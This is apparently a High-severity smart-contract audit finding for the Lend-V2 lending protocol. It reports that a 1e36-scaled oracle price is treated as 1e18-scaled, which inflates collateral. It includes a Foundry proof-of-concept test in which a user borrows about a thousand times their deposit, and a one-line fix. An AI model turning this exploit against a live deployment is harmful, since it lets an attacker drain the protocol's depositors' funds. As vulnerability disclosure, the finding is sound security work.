Boxy Ebony Rattlesnake

High

# Collateral Calculations Are Overstated by 1e18 Times

### Summary
The `oraclePrice` is a value scaled to 1e36 but is used as if it were scaled to 1e18. This results in inflated collateral calculations, allowing users to borrow significantly more than their actual collateral.

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/Uniswap/UniswapAnchoredView.sol#L118
```solidity
    function getUnderlyingPrice(address lToken) external view returns (uint256) {
        TokenConfig memory config = getTokenConfigByLToken(lToken);
        // Comptroller needs prices in the format: ${raw price} * 1e36 / baseUnit
        // The baseUnit of an asset is the amount of the smallest denomination of that asset per whole.
        // For example, the baseUnit of ETH is 1e18.
        // Since the prices in this view have 6 decimals, we must scale them by 1e(36 - 6)/baseUnit
        return FullMath.mulDiv(1e30, priceInternal(config), config.baseUnit);
    }
```

### Root Cause
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L408
```solidity
    function getHypotheticalAccountLiquidityCollateral(
        address account,
        LToken lTokenModify,
        uint256 redeemTokens,
        uint256 borrowAmount
    ) public view returns (uint256, uint256) {
        AccountLiquidityLocalVars memory vars;

        // Calculate collateral value from supplied assets
        address[] memory suppliedAssets = userSuppliedAssets[account].values();
        address[] memory borrowedAssets = userBorrowedAssets[account].values();

        // First loop: Calculate collateral value from supplied assets
        for (uint256 i = 0; i < suppliedAssets.length;) {
            LToken asset = LToken(suppliedAssets[i]);
            uint256 lTokenBalanceInternal = totalInvestment[account][address(asset)];

            // Get collateral factor and price for this asset
            vars.collateralFactor =
                Exp({mantissa: LendtrollerInterfaceV2(lendtroller).getCollateralFactorMantissa(address(asset))});
            vars.exchangeRate = Exp({mantissa: asset.exchangeRateStored()});

            vars.oraclePriceMantissa = UniswapAnchoredViewInterface(priceOracle).getUnderlyingPrice(asset);
408:        vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
            vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);

            // Add to collateral sum
            vars.sumCollateral =
                mul_ScalarTruncateAddUInt(vars.tokensToDenom, lTokenBalanceInternal, vars.sumCollateral);

            unchecked {
                ++i;
            }
        }
        ...
    }
```
### Internal pre-conditions
N/A

### External pre-conditions
N/A

### Attack Path
N/A

### PoC
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/test/mocks/TestLendAccrual.t.sol
```solidity
    function test_borrow1() public {

        uint256 supplyAmount = 100e18;
        (address token, address lToken) = _supply(supplyAmount * 1e4, user1);

        ERC20Mock(token).mint(user2, supplyAmount);

        uint256 initialBalance = ERC20Mock(token).balanceOf(user2);

        vm.startPrank(user2);
        IERC20(token).approve(address(coreRouter), supplyAmount);
        coreRouter.supply(supplyAmount, token);
        vm.stopPrank();


        uint256 borrowAmount = supplyAmount * 1e3;

        vm.prank(user2);
        coreRouter.borrow(borrowAmount, token);

        uint256 finalBalance = ERC20Mock(token).balanceOf(user2);

        console2.log("initialBalance : %e", initialBalance);
        console2.log("finalBalance   : %e", finalBalance);
    }
```
forge test --match-test "test_borrow1" -vv

Result:
```bash
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_borrow1() (gas: 959409)
Logs:
  initialBalance : 1e20
  finalBalance   : 1e23
```
### Impact
An attacker can withdraw all of the protocol's assets using only a small amount of collateral.

### Mitigation
```diff
-408:        vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
+408:        vars.oraclePrice = Double({mantissa: vars.oraclePriceMantissa});
```